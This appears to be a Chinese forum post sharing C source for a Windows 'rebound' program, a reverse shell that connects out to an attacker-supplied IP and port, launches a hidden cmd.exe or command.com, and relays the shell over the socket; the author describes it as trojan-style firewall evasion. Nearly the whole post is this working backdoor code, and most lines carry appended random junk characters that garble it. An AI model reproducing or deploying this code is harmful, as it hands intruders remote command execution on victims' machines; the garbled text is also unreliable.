这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I+,CiJ|4
a 2[rY
/* ============================== p=m:^9/
Rebound port in Windows NT !4T!@"#
By wind,2006/7 m8V}E&6
===============================*/ Q_Wg4n5
#include `2/V.REX$h
#include DYoGtks(
g;Zy3
#pragma comment(lib,"wsock32.lib") kA> e*6
cbYQ';{
void OutputShell(); <kk!ns I
SOCKET sClient; ,pY:kQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G^';9 UK
dUUg}/
void main(int argc,char **argv) '
&3,qT
{ }>EWFE`
WSADATA stWsaData; H:P7G_!\
int nRet; M?AKJE j5
SOCKADDR_IN stSaiClient,stSaiServer; qi
">AQpp
^wD`sj<Qg
if(argc != 3) ~(#iGc]7
{ !b=W>5h
printf("Useage:\n\rRebound DestIP DestPort\n"); *^w}SE(
return; Ss0I{0
} >=:^N-a
_Ie:!q
WSAStartup(MAKEWORD(2,2),&stWsaData); rHi4Pw{L
d tE"1nR
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T2n3g|4
S>)[n]f
stSaiClient.sin_family = AF_INET; w IP4Z^
stSaiClient.sin_port = htons(0); "%b Gwv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~ToU._
do*aE
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <k0/O
{ p I~;3T:!
printf("Bind Socket Failed!\n"); |?]doBm|
return; e0#t
} 'tDUPm38
_''un3eCY
stSaiServer.sin_family = AF_INET; `H 'wz7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^KnK
\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BOh^oQh
EqGpo_
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sfa=AV7K
{ gX7R-&[UD
printf("Connect Error!"); )Ay 90Wt
return; C#4_`4{
} >q0%yh-
OutputShell(); c%bzrYQvA;
} !{ {gL=_@
i"=lxqWeaV
void OutputShell() B,&QI&k`~
{ yn"4qC#Z
char szBuff[1024]; tj*/%G{Y
SECURITY_ATTRIBUTES stSecurityAttributes; O;5lF
OSVERSIONINFO stOsversionInfo; ?;H}5>^8P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pjn{3/*wi
STARTUPINFO stStartupInfo; j@w1S[vt
char *szShell; :`Ep#[Wvo
PROCESS_INFORMATION stProcessInformation; oam;hmw
unsigned long lBytesRead; o(H.1ESk
9e c},~(
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =R~zD4{"
4 R(m$!E!
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H Tv#2WX
stSecurityAttributes.lpSecurityDescriptor = 0; QxN1N^a0
stSecurityAttributes.bInheritHandle = TRUE; qE|syA9
&r~s3S{pQ
QQ_7Q^
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H9PnJr8 \
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1q@R04i
X:I2wJDs\
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
jr_z
?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hF$qH^-c*A
stStartupInfo.wShowWindow = SW_HIDE; <hj2'dU
stStartupInfo.hStdInput = hReadPipe; G maNi
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [0hahR
Lr5{c5M
GetVersionEx(&stOsversionInfo); <,rOsE6
O`@-
b#
switch(stOsversionInfo.dwPlatformId) ggiy{CdR
{ oP9 y@U
case 1: lSW'qgh
szShell = "command.com"; IM7<z,* oF
break; z#ki# o
default: ]@ke_'
"
szShell = "cmd.exe"; i;U*Y
*f
break; fISK3t/=C
} _ilitwRN3
SOOJq C
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {wsJ1v8!
=*jFaj
send(sClient,szMsg,77,0); @4D{lb"{
while(1) ^ =n7E
{ '"\'<>Be
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eBs.RR
]O
if(lBytesRead) >X
eXd{$
{ vq^';<Wh.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F]P sS(
send(sClient,szBuff,lBytesRead,0); LiV&47e*>
} jx}'M$TA
else Kx&"9g$
{ ooUVVp
lBytesRead=recv(sClient,szBuff,1024,0); JO0o@M5H
if(lBytesRead<=0) break; E:ci/09wD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *d;TpwUI
} Mmu#hb|W
} H$C*&p
lFnYQab
return; ]W14'Z
}